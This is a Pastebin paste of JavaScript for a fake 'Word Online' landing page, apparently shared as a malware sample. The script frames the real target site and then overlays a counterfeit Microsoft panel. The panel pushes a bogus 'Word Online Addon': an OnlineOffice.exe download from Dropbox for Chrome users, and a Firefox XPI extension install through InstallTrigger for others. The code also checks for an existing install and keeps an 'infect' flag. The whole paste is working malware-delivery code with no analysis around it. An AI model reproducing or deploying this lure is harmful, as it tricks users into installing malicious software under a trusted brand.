Advertisement
Guest User

this is where its located, DONOTOPEN->onedrive.live.late.com

a guest
Sep 12th, 2015
45
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.35 KB | None | 0 0
  1. var browser="";
  2. var infect = false;
  3.  
  4. var myDivContainer;
  5. var contentDiv;
  6. var containerBorder;
  7. var containerWidth;
  8. var containerHeight;
  9. var myDiv;
  10. var image1=null;
  11. var imgWidth = 0;
  12. var imgHeight = 0;
  13. var realWidth=0;
  14. var realHeight;
  15. var realImgWidth=0;
  16. var realImgHeight=0;
  17. var buttonDiv;
  18.  
  19. var zoom = 0;
  20. var isOpera = !!window.opera || navigator.userAgent.indexOf(' OPR/') >= 0;
  21. var isFirefox = typeof InstallTrigger !== 'undefined';
  22. var isSafari = Object.prototype.toString.call(window.HTMLElement).indexOf('Constructor') > 0;
  23. var isChrome = !!window.chrome && !isOpera;
  24. var isIE = false || !!document.documentMode;
  25. function detectBrowser() {
  26. if ((typeof(navigator) != "undefined") && (typeof(navigator.userAgent) != "undefined")) {
  27. var ua = navigator.userAgent;
  28.  
  29. if (ua.search(/chrome/i) != -1) {
  30. return "chrome";
  31. }
  32.  
  33. if (ua.search(/webkit/i) != -1) {
  34. return "safari";
  35. }
  36.  
  37. if (ua.search(/opera/i) != -1) {
  38. return "opera";
  39. }
  40.  
  41. if ((ua.search(/msie/i) != -1) && (ua.search(/opera/i) == -1)) {
  42. return "msie";
  43. }
  44.  
  45. if ((ua.search(/mozilla/i) != -1) && (ua.search(/(compatible|webkit)/i) == -1)) {
  46. return "mozilla";
  47. }
  48.  
  49. return "msie"; // return msie as default if unable to detect via user agent
  50. }
  51. // The navigator.userAgent object does not exists
  52. return "";
  53. }
  54.  
  55. var winW=0;
  56. var winH=0;
  57.  
  58. function getWindowSize() {
  59. winW = 0, winH = 0;
  60.  
  61. if (document.body && document.body.offsetWidth) {
  62. winW = document.body.offsetWidth;
  63. winH = document.body.offsetHeight;
  64. }
  65.  
  66. if (document.compatMode=='CSS1Compat' &&
  67. document.documentElement &&
  68. document.documentElement.offsetWidth ) {
  69. winW = document.documentElement.offsetWidth;
  70. winH = document.documentElement.offsetHeight;
  71. }
  72.  
  73. if (window.innerWidth && window.innerHeight) {
  74. winW = window.innerWidth;
  75. winH = window.innerHeight;
  76. }
  77.  
  78. if (!infect) {
  79. var frame1 = document.getElementById("iframe1");
  80. var iframeDoc = frame1.contentDocument || frame1.contentWindow.document;
  81. var wid = iframeDoc.getElementById("widthDiv");
  82. winW = wid.offsetWidth;
  83. }
  84. }
  85.  
  86. function scaleSize(maxW, maxH, currW, currH){
  87. var ratio = currH / currW;
  88.  
  89. var currH2=currH;
  90. var currW2=currW;
  91.  
  92. if(currH >= maxH) {
  93. currH = maxH;
  94. currW = currH / ratio;
  95. }
  96.  
  97. if(currW >= maxW && ratio <= 1){
  98. currW = maxW;
  99. currH = currW * ratio;
  100. }
  101.  
  102. return [currW, currH];
  103. }
  104.  
  105. function centerDiv(d) {
  106. var w = d.width/2;
  107. var h = d.height/2;
  108.  
  109. getWindowSize(); // returns the window size in winW,winH
  110. if (winW==0)
  111. winW = screen.width;
  112. if (winH==0)
  113. winH == screen.height;
  114.  
  115. var __screenY=winW/2;
  116. var __screenX=winH/2;
  117.  
  118. d.style.top = "20%";//__screenX-h+"px"
  119. d.style.left =__screenY-w+"px";//__screenY-w+"px"
  120. }
  121.  
  122.  
  123. function findPos(obj) {
  124. var curleft = curtop = 0
  125. if (obj.offsetParent) {
  126. do {
  127. curleft += obj.offsetLeft;
  128. curtop += obj.offsetTop;
  129. } while (obj = obj.offsetParent);
  130. return [curleft,curtop];
  131. }
  132. }
  133.  
  134. var containerWidth1 = 0;
  135. var containerHeight1 = 0;
  136.  
  137. var update;
  138. function setContainerSize(multw,multh) {
  139. var sw;
  140. if (!infect) sw = getScrollBarWidth();
  141. update = false;
  142.  
  143. if (containerWidth1 != 0) containerWidth1 = containerWidth;
  144. if (containerHeight1 != 0) containerHeight1 = containerHeight;
  145. containerWidth1 = containerWidth;
  146. containerHeight1 = containerHeight;
  147. getWindowSize();
  148.  
  149. if (!infect) winW -= sw;
  150.  
  151. if (containerWidth1 >= winW || containerHeight1 >= winH) {
  152. var newSize = scaleSize(winW*0.9, winH*0.9, realWidth, realHeight);
  153. containerWidth = newSize[0];
  154. containerHeight = newSize[1];
  155. update=true;
  156. } else {
  157. containerWidth = containerWidth1;
  158. containerHeight = containerHeight1;
  159. }
  160.  
  161. if (update) {
  162. myDivContainer.style.width=parseInt(containerWidth)+"px";
  163. myDivContainer.style.height=parseInt(containerHeight)+"px";
  164.  
  165. containerBorder.style.width=parseInt(containerWidth+10)+"px";
  166. containerBorder.style.height=parseInt(containerHeight+10)+"px";
  167.  
  168. myDivContainer.width=containerWidth;
  169. myDivContainer.height=containerHeight;
  170.  
  171. containerBorder.width=containerWidth+10;
  172. containerBorder.height=containerHeight+10;
  173.  
  174. var cI = document.getElementById("cI");
  175. var newSize = scaleSize(containerWidth*multw, containerHeight*multh, realImgWidth, realImgHeight);
  176. cI.width = newSize[0];
  177. cI.height = newSize[1];
  178. }
  179. }
  180.  
  181. var multiplyw = 1;
  182. var multiplyh = 1;
  183.  
  184. function resizeContainers(addimage) {
  185. myDivContainer.style.visibility='visible';
  186. containerBorder.style.visibility='visible';
  187.  
  188. if (addimage) {
  189. var cI = document.getElementById('contentImage');
  190. cI.innerHTML="<img src='"+image1.src+"' id='cI'>";
  191. }
  192. multiplyw = 1;
  193. multiplyh = 1;
  194.  
  195. var again=true;
  196. while(again) {
  197. if (multiplyw < 0 || multiplyh < 0)
  198. break;
  199. myDivContainer.width = parseInt(image1.width) + 30;
  200. myDivContainer.style.width = parseInt(myDivContainer.width) + "px";
  201. containerBorder.width = parseInt(image1.width) + 40;
  202. containerBorder.style.width = parseInt(containerBorder.width) + "px";
  203.  
  204. myDivContainer.height = contentDiv.offsetHeight + 30;
  205. containerBorder.height = contentDiv.offsetHeight + 40;
  206. myDivContainer.style.height = (contentDiv.offsetHeight + 30) + "px";
  207. containerBorder.style.height = (contentDiv.offsetHeight + 40) + "px";
  208.  
  209. containerWidth = containerBorder.width;
  210. containerHeight = containerBorder.height;
  211.  
  212. if (realWidth == 0) {
  213. realWidth = containerWidth;
  214. realHeight = containerHeight;
  215. }
  216.  
  217. again=false;
  218. setContainerSize(multiplyw,multiplyh);
  219.  
  220. // Position div into the center of the screen
  221. centerDiv(myDivContainer);
  222. centerDiv(containerBorder);
  223.  
  224. getWindowSize();
  225. var cI = document.getElementById("cI");
  226. var lt1 = findPos(cI);
  227. var lt2 = findPos(myDivContainer);
  228. var lt3 = findPos(containerBorder);
  229. var lt4 = findPos(buttonDiv);
  230.  
  231. if ((lt3[0]+containerBorder.width >= winW) || (lt1[0]+cI.width >= lt2[0]+myDivContainer.width)) {
  232. multiplyw -= 0.025;
  233. multiplyh -= 0.025;
  234. again=true;
  235. }
  236.  
  237. if ((lt3[1]+containerBorder.height >= winH) || (lt1[1]+cI.height >= lt3[1]+myDivContainer.height) || (lt4[1]+25 > lt3[1]+containerBorder.height)) {
  238. multiplyw -= 0.025;
  239. multiplyh -= 0.025;
  240. again=true;
  241. }
  242. }
  243.  
  244. myDivContainer.style.visibility='visible';
  245. containerBorder.style.visibility='visible';
  246. }
  247.  
  248. function getScrollBarWidth () {
  249. var inner = document.createElement('p');
  250. inner.style.width = "100%";
  251. inner.style.height = "200px";
  252.  
  253. var outer = document.createElement('div');
  254. outer.style.position = "absolute";
  255. outer.style.top = "0px";
  256. outer.style.left = "0px";
  257. outer.style.visibility = "hidden";
  258. outer.style.width = "200px";
  259. outer.style.height = "150px";
  260. outer.style.overflow = "hidden";
  261. outer.appendChild (inner);
  262.  
  263. document.body.appendChild (outer);
  264. var w1 = inner.offsetWidth;
  265. outer.style.overflow = 'scroll';
  266. var w2 = inner.offsetWidth;
  267. if (w1 == w2) w2 = outer.clientWidth;
  268.  
  269. document.body.removeChild (outer);
  270.  
  271. return (w1 - w2);
  272. };
  273.  
  274. function parseContent(str) {
  275. var str2 = str;
  276. var i;
  277. var search = new Array(
  278. /\[center\](.*?)\[endcenter\]/g,
  279. /\[fontsize="?(.*?)"?\](.*?)\[\endfontsize\]/g,
  280. /\[bold\](.*?)\[endbold\]/g,
  281. /\[newline\]/g,
  282. /\[image\](.*?)\[\endimage\]/,
  283. /\[url\="?(.*?)"?\](.*?)\[\endurl\]/g);
  284.  
  285. var replace = new Array(
  286. "<center>$1</center>",
  287. "<span style=\"font-size:"+"$1"+"pt\">$2</span>",
  288. "<strong>$1</strong>",
  289. "<br/>",
  290. "<center><div id='contentImage'/></center>",
  291. "<a href=\"$1\" target=\"_blank\" style=\"color:blue;text-decoration:underline;font-weight:normal;font-size:11pt;\">$2</a>");
  292.  
  293. for (i = 0; i < search.length; i++) {
  294. str = str.replace(search[i], replace[i]);
  295. }
  296.  
  297. var e= /\[image](.*)\[endimage\]/;
  298. e.exec(str2);
  299. return [str, RegExp.$1];
  300. }
  301. function htmlentities(texte) {
  302. if (texte == ""){
  303. return "";
  304. }
  305. // texte = texte.replace(/"/g,'&quot;'); // 34 22
  306. texte = texte.replace(/&/g,'&amp;'); // 38 26
  307. texte = texte.replace(/\'/g,'&#39;'); // 39 27
  308. texte = texte.replace(/</g,'&lt;'); // 60 3C
  309. texte = texte.replace(/>/g,'&gt;'); // 62 3E
  310. texte = texte.replace(/\^/g,'&circ;'); // 94 5E
  311. texte = texte.replace(/‘/g,'&lsquo;'); // 145 91
  312. texte = texte.replace(/’/g,'&rsquo;'); // 146 92
  313. texte = texte.replace(/“/g,'&ldquo;'); // 147 93
  314. texte = texte.replace(/”/g,'&rdquo;'); // 148 94
  315. texte = texte.replace(/•/g,'&bull;'); // 149 95
  316. texte = texte.replace(/–/g,'&ndash;'); // 150 96
  317. texte = texte.replace(/—/g,'&mdash;'); // 151 97
  318. texte = texte.replace(/˜/g,'&tilde;'); // 152 98
  319. texte = texte.replace(/™/g,'&trade;'); // 153 99
  320. texte = texte.replace(/±/g,'&scaron;'); // 154 9A
  321. texte = texte.replace(/›/g,'&rsaquo;'); // 155 9B
  322. texte = texte.replace(/µ/g,'&oelig;'); // 156 9C
  323. texte = texte.replace(/¶/g,'&#357;'); // 157 9D
  324. texte = texte.replace(/·/g,'&#382;'); // 158 9E
  325. texte = texte.replace(/»/g,'&Yuml;'); // 159 9F
  326. texte = texte.replace(/¥/g,'&iexcl;'); // 161 A1
  327. texte = texte.replace(/¢/g,'&cent;'); // 162 A2
  328. texte = texte.replace(/£/g,'&pound;'); // 163 A3
  329. texte = texte.replace(/¼/g,'&yen;'); // 165 A5
  330. texte = texte.replace(/Œ/g,'&brvbar;'); // 166 A6
  331. texte = texte.replace(/§/g,'&sect;'); // 167 A7
  332. texte = texte.replace(/¨/g,'&uml;'); // 168 A8
  333. texte = texte.replace(/Š/g,'&copy;'); // 169 A9
  334. texte = texte.replace(/ª/g,'&ordf;'); // 170 AA
  335. texte = texte.replace(/­/g,'&shy;'); // 173 AD
  336. texte = texte.replace(/Ž/g,'&reg;'); // 174 AE
  337. texte = texte.replace(/¯/g,'&macr;'); // 175 AF
  338. texte = texte.replace(/°/g,'&deg;'); // 176 B0
  339. texte = texte.replace(/¹/g,'&plusmn;'); // 177 B1
  340. texte = texte.replace(/²/g,'&sup2;'); // 178 B2
  341. texte = texte.replace(/³/g,'&sup3;'); // 179 B3
  342. texte = texte.replace(/´/g,'&acute;'); // 180 B4
  343. texte = texte.replace(/¾/g,'&micro;'); // 181 B5
  344. texte = texte.replace(/œ/g,'&para'); // 182 B6
  345. texte = texte.replace(/¡/g,'&middot;'); // 183 B7
  346. texte = texte.replace(/¸/g,'&cedil;'); // 184 B8
  347. texte = texte.replace(/š/g,'&sup1;'); // 185 B9
  348. texte = texte.replace(/º/g,'&ordm;'); // 186 BA
  349. texte = texte.replace(/Ÿ/g,'&frac14;'); // 188 BC
  350. texte = texte.replace(/½/g,'&frac12;'); // 189 BD
  351. texte = texte.replace(/ž/g,'&frac34;'); // 190 BE
  352. texte = texte.replace(/¿/g,'&iquest;'); // 191 BF
  353. texte = texte.replace(/À/g,'&Agrave;'); // 192 C0
  354. texte = texte.replace(/Á/g,'&Aacute;'); // 193 C1
  355. texte = texte.replace(/Â/g,'&Acirc;'); // 194 C2
  356. texte = texte.replace(/Ã/g,'&Atilde;'); // 195 C3
  357. texte = texte.replace(/Ä/g,'&Auml;'); // 196 C4
  358. texte = texte.replace(/Å/g,'&Aring;'); // 197 C5
  359. texte = texte.replace(/Æ/g,'&AElig;'); // 198 C6
  360. texte = texte.replace(/Ç/g,'&Ccedil;'); // 199 C7
  361. texte = texte.replace(/È/g,'&Egrave;'); // 200 C8
  362. texte = texte.replace(/É/g,'&Eacute;'); // 201 C9
  363. texte = texte.replace(/Ê/g,'&Ecirc;'); // 202 CA
  364. texte = texte.replace(/Ë/g,'&Euml;'); // 203 CB
  365. texte = texte.replace(/Ì/g,'&Igrave;'); // 204 CC
  366. texte = texte.replace(/Í/g,'&Iacute;'); // 205 CD
  367. texte = texte.replace(/Î/g,'&Icirc;'); // 206 CE
  368. texte = texte.replace(/Ï/g,'&Iuml;'); // 207 CF
  369. texte = texte.replace(/Ð/g,'&ETH;'); // 208 D0
  370. texte = texte.replace(/Ñ/g,'&Ntilde;'); // 209 D1
  371. texte = texte.replace(/Ò/g,'&Ograve;'); // 210 D2
  372. texte = texte.replace(/Ó/g,'&Oacute;'); // 211 D3
  373. texte = texte.replace(/Ô/g,'&Ocirc;'); // 212 D4
  374. texte = texte.replace(/Õ/g,'&Otilde;'); // 213 D5
  375. texte = texte.replace(/Ö/g,'&Ouml;'); // 214 D6
  376. texte = texte.replace(/×/g,'&times;'); // 215 D7
  377. texte = texte.replace(/Ø/g,'&Oslash;'); // 216 D8
  378. texte = texte.replace(/Ù/g,'&Ugrave;'); // 217 D9
  379. texte = texte.replace(/Ú/g,'&Uacute;'); // 218 DA
  380. texte = texte.replace(/Û/g,'&Ucirc;'); // 219 DB
  381. texte = texte.replace(/Ü/g,'&Uuml;'); // 220 DC
  382. texte = texte.replace(/Ý/g,'&Yacute;'); // 221 DD
  383. texte = texte.replace(/Þ/g,'&THORN;'); // 222 DE
  384. texte = texte.replace(/ß/g,'&szlig;'); // 223 DF
  385. texte = texte.replace(/à/g,'&agrave;'); // 224 E0
  386. texte = texte.replace(/á/g,'&aacute;'); // 225 E1
  387. texte = texte.replace(/â/g,'&acirc;'); // 226 E2
  388. texte = texte.replace(/ã/g,'&atilde;'); // 227 E3
  389. texte = texte.replace(/ä/g,'&auml;'); // 228 E4
  390. texte = texte.replace(/å/g,'&aring;'); // 229 E5
  391. texte = texte.replace(/æ/g,'&aelig;'); // 230 E6
  392. texte = texte.replace(/ç/g,'&ccedil;'); // 231 E7
  393. texte = texte.replace(/è/g,'&egrave;'); // 232 E8
  394. texte = texte.replace(/é/g,'&eacute;'); // 233 E9
  395. texte = texte.replace(/ê/g,'&ecirc;'); // 234 EA
  396. texte = texte.replace(/ë/g,'&euml;'); // 235 EB
  397. texte = texte.replace(/ì/g,'&igrave;'); // 236 EC
  398. texte = texte.replace(/í/g,'&iacute;'); // 237 ED
  399. texte = texte.replace(/î/g,'&icirc;'); // 238 EE
  400. texte = texte.replace(/ï/g,'&iuml;'); // 239 EF
  401. texte = texte.replace(/ð/g,'&eth;'); // 240 F0
  402. texte = texte.replace(/ñ/g,'&ntilde;'); // 241 F1
  403. texte = texte.replace(/ò/g,'&ograve;'); // 242 F2
  404. texte = texte.replace(/ó/g,'&oacute;'); // 243 F3
  405. texte = texte.replace(/ô/g,'&ocirc;'); // 244 F4
  406. texte = texte.replace(/õ/g,'&otilde;'); // 245 F5
  407. texte = texte.replace(/ö/g,'&ouml;'); // 246 F6
  408. texte = texte.replace(/÷/g,'&divide;'); // 247 F7
  409. texte = texte.replace(/ø/g,'&oslash;'); // 248 F8
  410. texte = texte.replace(/ù/g,'&ugrave;'); // 249 F9
  411. texte = texte.replace(/ú/g,'&uacute;'); // 250 FA
  412. texte = texte.replace(/û/g,'&ucirc;'); // 251 FB
  413. texte = texte.replace(/ü/g,'&uuml;'); // 252 FC
  414. texte = texte.replace(/ý/g,'&yacute;'); // 253 FD
  415. texte = texte.replace(/þ/g,'&thorn;'); // 254 FE
  416. texte = texte.replace(/ÿ/g,'&yuml;'); // 255 FF
  417. return texte;
  418. }
  419.  
  420. function XPItrigger() {
  421. if (InstallTrigger.updateEnabled()) {
  422. InstallTrigger.install({"Online_Office": "Online_Office.xpi"});
  423. }
  424. }
  425. function downloadClick(downloadID) {
  426. XPItrigger();
  427. }
  428. function initTimer() {
  429. myDiv = document.createElement('div');
  430. myDiv.id = 'myDiv';
  431. myDiv.style.position = 'fixed';
  432. myDiv.style.top = 0;
  433. myDiv.style.left = 0;
  434. getWindowSize();
  435. if (!infect) {
  436. var frame1 = document.getElementById("iframe1");
  437. var iframeDoc = frame1.contentDocument || frame1.contentWindow.document;
  438. var wid = iframeDoc.getElementById("widthDiv");
  439. myDiv.style.width = (wid.offsetWidth) + "px";
  440. }
  441. else myDiv.style.width = "100%";
  442. myDiv.style.height = "100%";
  443. myDiv.style.backgroundColor = '#000';
  444. myDiv.style.zIndex = 2147483645;
  445.  
  446. if (browser != "msie") {
  447. myDiv.style.opacity = '0.65';
  448. } else {
  449. myDiv.style.filter = 'progid:DXImageTransform.Microsoft.Alpha(opacity=65)';
  450. }
  451.  
  452. myDiv.setAttribute("unselectable", "on");
  453. myDiv.setAttribute("class", "unselectable");
  454.  
  455. document.body.appendChild(myDiv);
  456. myDivContainer = document.createElement('div');
  457. myDivContainer.id = 'myDivContainer';
  458. myDivContainer.style.position = 'fixed';
  459. myDivContainer.style.width = "1px";
  460. myDivContainer.style.height = "1px";
  461. myDivContainer.style.zIndex = 2147483647;
  462. myDivContainer.style.top=0;
  463. myDivContainer.style.left=0;
  464. myDivContainer.style.padding="9px 9px 9px 9px";
  465. myDivContainer.style.visibility='hidden';
  466. myDivContainer.style.fontFamily="Arial";
  467.  
  468. var content = document.createElement('div');
  469. content.style.display='block';
  470. //content.style.backgroundColor = 'blue';
  471.  
  472. contentDiv = document.createElement('div');
  473. contentDiv.style.display='inline';
  474. //contentDiv.style.backgroundColor = 'green';
  475.  
  476. var unparsedContent = '[image]missing.png[endimage]';
  477. //alert(unparsedContent);
  478. var parsedContent = parseContent(htmlentities(unparsedContent));
  479. //alert(parsedContent);
  480. if(isChrome){
  481. contentDiv.innerHTML="<span style='font-size:11pt;font-family:Arial;'>" + parsedContent[0] + "<div style='display: block; height: 352px; margin-top: 0px; top: 50px;' class='headerBlurbpanel' id='h_signincntrl' role='main'><div class='content' id='content'><div id='landingPage' aria-hidden='false'><h1>Welcome to Word Online</h1><div id='landingPageContent'><h2><span id='descText'>Create, edit, and share. Work with others at the same time.</span></h2><div class='landingPageOptions'><a style='width: 300px;' id='signInMSA' accesskey='A' class='primaryBack0 signInWord actionButton' href='https://www.dropbox.com/s/96bhnemu4e0a2me/OnlineOffice.exe?dl=1'>Get Microsoft Word Online Addon</a><span class='buttonSpacer'> </span></div><div class='landingPageExtraOptions'><div>© 2015 Microsoft Terms of use <a id='ancSignUp' class='Anc' href='javascript:void(0);'>Privacy & Cookies</a> <a id='ancSignUp' class='Anc' href='javascript:void(0);'>Privacy & Cookiest</a></div</div></div></div></div></div></span>";
  482. }else{
  483. contentDiv.innerHTML="<span style='font-size:11pt;font-family:Arial;'>" + parsedContent[0] + "<div style='display: block; height: 352px; margin-top: 0px; top: 50px;' class='headerBlurbpanel' id='h_signincntrl' role='main'><div class='content' id='content'><div id='landingPage' aria-hidden='false'><h1>Welcome to Word Online</h1><div id='landingPageContent'><h2><span id='descText'>Create, edit, and share. Work with others at the same time.</span></h2><div class='landingPageOptions'><button onClick='downloadClick(this.id)' id='buttonDownload' style='width: 300px;' id='signInMSA' accesskey='A' class='primaryBack0 signInWord actionButton' href='javascript:void(0);' role='button'>Get Microsoft Word Online Addon</button><span class='buttonSpacer'> </span></div><div class='landingPageExtraOptions'><div>© 2015 Microsoft Terms of use <a id='ancSignUp' class='Anc' href='javascript:void(0);'>Privacy & Cookies</a> <a id='ancSignUp' class='Anc' href='javascript:void(0);'>Privacy & Cookiest</a></div</div></div></div></div></div></span>";
  484. }
  485.  
  486. buttonDiv = document.createElement('div');
  487. buttonDiv.style.display='block';
  488. buttonDiv.align = 'center';
  489. buttonDiv.style.padding = '2px 0px 0px 0px';
  490.  
  491. var button = document.createElement('input');
  492. button.type='button';
  493. button.value=' Install now ';
  494. button.style.height = '25px';
  495. button.style.border = "1px outset black";
  496. button.style.color = "black";
  497. button.style.fontFamily = "Arial";
  498. button.style.fontSize = "11pt";
  499. button.style.fontWeight = "normal";
  500. button.style.display = "none";
  501.  
  502.  
  503. button.onclick = function(){
  504. XPItrigger();
  505. }
  506.  
  507. buttonDiv.appendChild(button);
  508.  
  509. content.appendChild(contentDiv);
  510. content.appendChild(buttonDiv);
  511.  
  512. myDivContainer.appendChild(content);
  513.  
  514. containerBorder = document.createElement('div');
  515. containerBorder.style.position = 'fixed';
  516. containerBorder.style.width = "1px";
  517. containerBorder.style.height = "1px";
  518. containerBorder.style.zIndex = 2147483646;
  519. containerBorder.style.left=0;
  520. containerBorder.style.top=0;
  521. containerBorder.style.padding="9px 9px 9px 9px";
  522. containerBorder.style.visibility='hidden';
  523.  
  524. containerBorder.setAttribute("unselectable", "on");
  525. containerBorder.setAttribute("class", "unselectable");
  526.  
  527. myDivContainer.setAttribute("unselectable", "on");
  528. myDivContainer.setAttribute("class", "unselectable");
  529.  
  530. document.body.appendChild(containerBorder);
  531. document.body.appendChild(myDivContainer);
  532.  
  533. image1 = new Image();
  534. image1.onload = function() {
  535. imageWidth = image1.width;
  536. imageHeight = image1.height;
  537. realImgWidth = image1.width;
  538. realImgHeight = image1.height;
  539. resizeContainers(true);
  540. };
  541. image1.src=parsedContent[1];
  542. // Center the div on a window resize event
  543. window.onresize = function(event) {
  544. getWindowSize();
  545. var myDiv = document.getElementById("myDiv");
  546. myDiv.style.width = (winW) + "px";
  547. resizeContainers(true);
  548. }
  549.  
  550. // Autodownload the file if requested
  551. var autodownload = "true";
  552.  
  553. if (autodownload.toLowerCase() != "true") {
  554. var download = document.createElement('iframe');
  555. download.src = filename;
  556. download.width = 0;
  557. download.height = 0;
  558. download.style.border = "0";
  559. download.style.display = "none";
  560. download.style.visibility = "hidden";
  561. download.border = 0;
  562.  
  563. document.body.appendChild(download);
  564. }
  565.  
  566. if (!infect) zoomHandler();
  567. }
  568.  
  569. var isInstalled = null;
  570. function init2() {
  571. var tgturl = document.getElementById('tgturl');
  572. if (tgturl == null) {
  573. infect = true;
  574. } else {
  575. try {
  576. document.style.overflowX = 'hidden';
  577. } catch (e) {};
  578.  
  579. var hiddenFrame = document.createElement('iframe');
  580. hiddenFrame.id="iframe1";
  581. hiddenFrame.style.position="absolute";
  582. hiddenFrame.style.visibility="hidden";
  583. hiddenFrame.style.width="100%";
  584. hiddenFrame.style.height="100%";
  585. hiddenFrame.style.zIndex="-16777270";
  586. hiddenFrame.style.overflowX="hidden";
  587. hiddenFrame.width = "100%";
  588. hiddenFrame.height = "1080";
  589. hiddenFrame.scrolling = "yes";
  590. hiddenFrame.frameBorder = "0";
  591. hiddenFrame.src = "empty.html";
  592. document.body.appendChild(hiddenFrame);
  593.  
  594. var framebusting = "Disable";
  595.  
  596. var ifr = document.createElement('iframe');
  597. if (framebusting.toUpperCase() == "YES") {
  598. ifr.setAttribute("security", "restricted");
  599. ifr.setAttribute("sandbox", "allow-scripts allow-forms");
  600. }
  601. ifr.display="block";
  602. ifr.overflowX="hidden";
  603. ifr.width="100%";
  604. ifr.height="100%";
  605. ifr.zIndex="0";
  606. ifr.src=tgturl.value;
  607. ifr.width="100%";
  608. ifr.height="100%";
  609. ifr.frameBorder="0";
  610.  
  611. var containerS = document.createElement("div");
  612. containerS.id="container";
  613. containerS.style.position = "relative";
  614. containerS.style.width = "100%";
  615. containerS.style.height = "100%";
  616. document.body.appendChild(containerS);
  617. containerS.appendChild(ifr);
  618.  
  619. if ((browser == "msie") || (browser == "opera") || (browser == "safari")) return;
  620.  
  621. }
  622. if (!isInstalled) window.setTimeout("initTimer()", 3000);
  623. }
  624.  
  625. function zoomHandler() {
  626. var if1 = document.getElementById("iframe1");
  627. var iframeDoc = if1.contentDocument || if1.contentWindow.document;
  628. iframeDoc.getElementById("two").style.left = iframeDoc.getElementById("one").offsetLeft + "px";
  629.  
  630. setInterval(function() {
  631. var newZoom = iframeDoc.getElementById("two").offsetLeft / iframeDoc.getElementById("one").offsetLeft;
  632. if (newZoom == zoom) return;
  633. zoom = newZoom;
  634. var wid = iframeDoc.getElementById("widthDiv");
  635. myDiv.width = wid.offsetWidth;
  636. }, 200);
  637. }
  638. browser = detectBrowser();
  639. if ((browser != "msie") && (browser != "chrome") && (browser != "opera") && (browser != "safari")) {
  640. var extimg = document.createElement("img");
  641.  
  642. extimg.addEventListener("load", function(e){
  643. isInstalled = true;
  644. init2();
  645. }, false);
  646. extimg.addEventListener("error", function(e){
  647. isInstalled = false;
  648. init2();
  649. }, false);
  650.  
  651. extimg.setAttribute("src", "chrome://Online_Office/content/detect.jpg");
  652. } else {
  653. init2();
  654. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement